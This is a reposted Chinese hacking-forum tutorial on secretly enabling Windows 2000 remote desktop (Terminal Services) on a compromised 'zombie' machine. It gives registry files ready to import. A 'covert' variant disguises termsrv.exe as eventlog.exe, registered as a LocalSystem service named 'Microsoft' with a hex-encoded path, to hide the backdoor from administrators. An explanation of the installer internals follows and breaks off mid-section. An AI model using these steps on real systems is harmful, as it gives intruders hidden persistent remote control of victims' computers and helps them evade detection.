以下为转贴!
也谈3398的安装(3398终结篇)
一.原理性基本安装
1.将如下注册表键值导入 "肉机" 的注册表中:
-------------
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
"Enabled"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ShutdownWithoutLogon"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"EnableAdminTSRemote"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"TSEnabled"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
"Start"=dword:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
"Start"=dword:00000002
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
"Hotkey"="1"
-----------
2.重新起动"肉机"。
3.使用本地的3398客户端,连接 "肉机" .
4.优(缺)点:
A."肉机"中 "控制面板-->添加/删除程序-->添加/删除 Windows 组件-->终端服务" 仍然处于未安装状态.
B."肉机"中 "开始-->程序-->管理工具" 没有任何变动.
C."肉机"中 "开始-->程序-->管理工具-->服务-->Terminal Services" 变为 "已起动" 和"自动".
D."肉机"中 "Windows 任务管理器-->进程" 内,增加 "Termsrv.exe".
5.与"sysocmgr /i:sysoc.inf /u:u.txt /q" 的比较:
A."肉机"中 "控制面板-->添加/删除程序-->添加/删除 Windows 组件-->终端服务" 处于已安装状态.
B."肉机"中 "开始-->程序-->管理工具" 增加 "终端服务管理器","终端服务配置" 和 "终端服务客户端生成器".
C."肉机"中 "开始-->程序-->管理工具-->服务-->Terminal Services" 变为 "已起动" 和"自动".
D."肉机"中 "Windows 任务管理器-->进程" 内,增加 "Termsrv.exe".
E.需要拷贝几兆的文件到"肉机"中.
二.抛砖引玉性"隐蔽"安装:
1.将"肉机"中 "c:\winnt\system32\termsrv.exe" 文件作一备份,命名为"eventlog.exe",仍将其放入目录 "c:\winnt\system32\"
2.将如下注册表键值导入 "肉机" 的注册表中:
------------
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
"Enabled"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ShutdownWithoutLogon"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"EnableAdminTSRemote"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"TSEnabled"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
"Start"=dword:00000002
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
"Hotkey"="1"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService]
"Start"=dword:00000002
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\
00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00
"ObjectName"="LocalSystem"
"Type"=dword:00000010
"Description"="Microsoft"
"DisplayName"="Microsoft"
---------------
3.重新起动"肉机"。
4.使用本地的3398客户端,连接“肉机”。
5.优(缺)点:
A."肉机"中 "控制面板-->添加/删除程序-->添加/删除 Windows 组件-->终端服务" 仍然处于未安装状态.
B."肉机"中 "开始-->程序-->管理工具" 没有任何变动.
C."肉机"中 "开始-->程序-->管理工具-->服务-->Terminal Services" 没有变化,保持原始状态.
D."肉机"中 "开始-->程序-->管理工具-->服务" 增加 "Microsoft"
E."肉机"中 "Windows 任务管理器-->进程" 内,增加 "eventlog.exe".
三.理论简介
如此简单? 只修改注册表? 不需要拷贝W2k源文件?
让我们从一条命令行语句说起,这条语句是: "sysocmgr /i:sysoc.inf /u:u.txt /q" . 其中 u.txt 如下:
-------------
[Components]
TsEnable = on
-------------
首先认识 "sysoc.inf"."sysoc.inf" 是安装信息文件,位于 "c:\winnt\inf". 打开它,在 "[Components]" 节,找到与 "终端服务" 有关的条目:
"TerminalServices=TsOc.dll, HydraOc, TsOc.inf,,2"
这里引出另外一个安装信息文件: "TsOc.inf". 这个文件同样位于 "c:\winnt\inf".
打开这个文件,你会发现,如同 windows 环境下的软件安装, "终端服务" 的安装, 也主要由三个部分: 拷贝源文件,注册 DLL 以及修改注册表.
在 [TerminalServices.FreshInstall] 节 和 "File Sections" 部分,你会发现 "终端服务" 所需的系统文件,DLL 和驱动, 随同 W2k 的初始安装,都已安然就位.
为什么 "终端服务" 的常规安装和命令行安装都需要拷贝W2k源文件? 事实上,所拷贝的是"终端服务"客户端软件,既 "开始-->程序-->管理工具-->终端服务客户端生成器" 生成客户软盘需要的文件.
各位 "黑友" 提供的包或工具,里面包括的W2k源文件,都是 "tsc32" 打头的. 关连 "TsOc.inf" 的 "File Sections" 部分和另外一个文件 "c:\winnt\inf\layout.inf",你将会得到证实.
"终端服务"的安装,需要注册俩个 "DLL". 这俩个 "DLL" 同样早早就住在系统里,想必它们一定也有了身份证.
"TsOc.inf" 文件一半的内容是关于修改注册表. 但"终端服务" 需要的 "Reg.AddToFreshInstall, Reg.AddTo50, Reg.AddTo40" 都是在系统安装时注册过的.
我们回头看一下那个命令行语句, "/u:" 参数后面的无人职守安装信息文件 "u.txt". "TsEnable = on" ?
"TsOc.inf" 文件 [Optional Components] 节中有三个选项, "TerminalServices", "TSEnable" ,"TSClients".
"TerminalServices" 如上所述,在系统初始安装时,已经就序. "TSClients" 与 "终端服务" 没有直接的关系.
我们在 "TsOc.inf" 找到 "[TsEnable]" 节. 此节中有用的信息只有一条 "ToggleOnSection = TerminalServices.ToggleOn". 再转到 [TerminalServices.ToggleOn] 节.
[TerminalServices.ToggleOn] 节告诉我们,下一站是 "Reg.ToggleOn", 沿着这个线索,我们来到 [Reg.ToggleOn], 你看到什么?
|